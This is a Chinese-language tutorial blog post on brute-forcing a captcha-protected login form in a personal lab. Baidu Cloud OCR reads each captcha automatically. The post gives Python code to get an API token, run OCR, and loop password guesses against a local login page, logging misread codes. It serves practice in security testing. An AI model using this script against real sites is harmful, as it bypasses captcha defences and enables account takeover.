基于百度智能云爆破验证码识别

目录

基于百度智能云爆破验证码识别

一、基于php提供验证码校验接口

二、基于百度云API识别验证码

1、领取资源,创建应用

2、利用应用的API Key和Secret Key获取Access Token

3、文字识别

4、编写爆破程序


基于百度智能云爆破验证码识别

一、基于php提供验证码校验接口

利用python,通过机器学习,不停地获取验证码图片,然后再对正确答案进行标注,让机器学习本张图片的正确答案和对应的文字样式。只要学习的数量足够多,则识别率也会更高。

 # 在vcode.php页面中修改如下代码
 $type = $_GET['type'];
 if ($type == 'img') {
     getCode(4,60,30);
 ​
 }
 elseif($type == 'text') {
     echo $_SESSION['vcode'];
 }

表明,如果我对该页面访问时,url 提交参数为 img 表示请求验证码图片,url 提交参数为 text 表示请求验证码的文本

二、基于百度云API识别验证码

1、领取资源,创建应用

2、利用应用的API Key和Secret Key获取Access Token

通用参考 - 鉴权认证机制 | 百度AI开放平台 (baidu.com)

image-20240607220016267

 import requests
 import json
 ​
 ​
 def main():
         
     url = "https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=xxxxxx&client_secret=xxxxx"
     
     payload = ""
     headers = {
         'Content-Type': 'application/json',
         'Accept': 'application/json'
     }
     
     response = requests.request("POST", url, headers=headers, data=payload)
     
     print(response.text)
     
 ​
 if __name__ == '__main__':
     main()
     

向授权服务地址https://aip.baidubce.com/oauth/2.0/token发送请求(推荐使用POST),并在URL中带上以下参数:

  • grant_type: 必须参数,固定为client_credentials

  • client_id: 必须参数,应用的API Key

  • client_secret: 必须参数,应用的Secret Key

3、文字识别

通用文字识别(高精度版) - 文字识别OCR (baidu.com)

提示一:使用示例代码前,请记得替换其中的示例Token、图片地址或Base64信息。

提示二:部分语言依赖的类或库,请在代码注释中查看下载地址。

 ​
 # encoding:utf-8
 ​
 import requests
 import base64
 ​
 '''
 通用文字识别(高精度版)
 '''
 ​
 request_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"
 # 二进制方式打开图片文件
 f = open('[本地文件]', 'rb')
 img = base64.b64encode(f.read())
 ​
 params = {"image":img}
 access_token = '[调用鉴权接口获取的token]'
 request_url = request_url + "?access_token=" + access_token
 headers = {'content-type': 'application/x-www-form-urlencoded'}
 response = requests.post(request_url, data=params, headers=headers)
 if response:
     print (response.json())

4、编写爆破程序

 def burst_login(Access_Token,password):
     # 由于百度处于公网,无法访问我内网的图片验证码IP地址,于是这里就将我内网的图片验证码读取下来然后通过base64编码传给百度OCR
     session = requests.session()
     URL_vcodeimg = 'http://192.168.230.147/security/vcode.php'
     resp_vcodeimg = session.get(URL_vcodeimg)
     img = base64.b64encode(resp_vcodeimg.content)
 ​
     # 获取百度OCR文字识别图片验证码之后的文本
     url_baiduocr = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"
     params = {"image": img}
     access_token = Access_Token
     url_baiduocr = url_baiduocr + "?access_token=" + access_token
     headers = {'content-type': 'application/x-www-form-urlencoded'}
     response = requests.post(url_baiduocr, data=params, headers=headers)
     if response:
         vcode_ocr_text = response.json()['words_result'][0]['words']
         # 进行登录爆破
         login_url = 'http://192.168.230.147/security/login_2.php'
         data = {'username':'ymqyyds','password':password,'vericode':vcode_ocr_text}
         resp_burst = session.post(url=login_url,data=data)
         if 'vericode-error'in resp_burst.text:
             # 将识别出错的验证码保存在某个文本文件中,下一轮爆破时,遍历这些之前验证出错的验证码
             print(f'验证码出错 {data}')
             with open('./vcode_False.txt','a') as file:
                 file.write(vcode_ocr_text + '\n')
         elif ('login-fail' not in resp_burst.text):
             print(f'爆破成功 {data}')
 ​

然后在主调函数中传递 Access_Token 和 password ,并且运行程序

但是,由于免费领取的资源,所以我们每秒只有 2 次的并发限制,在主调函数中需要注意

  • 20
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值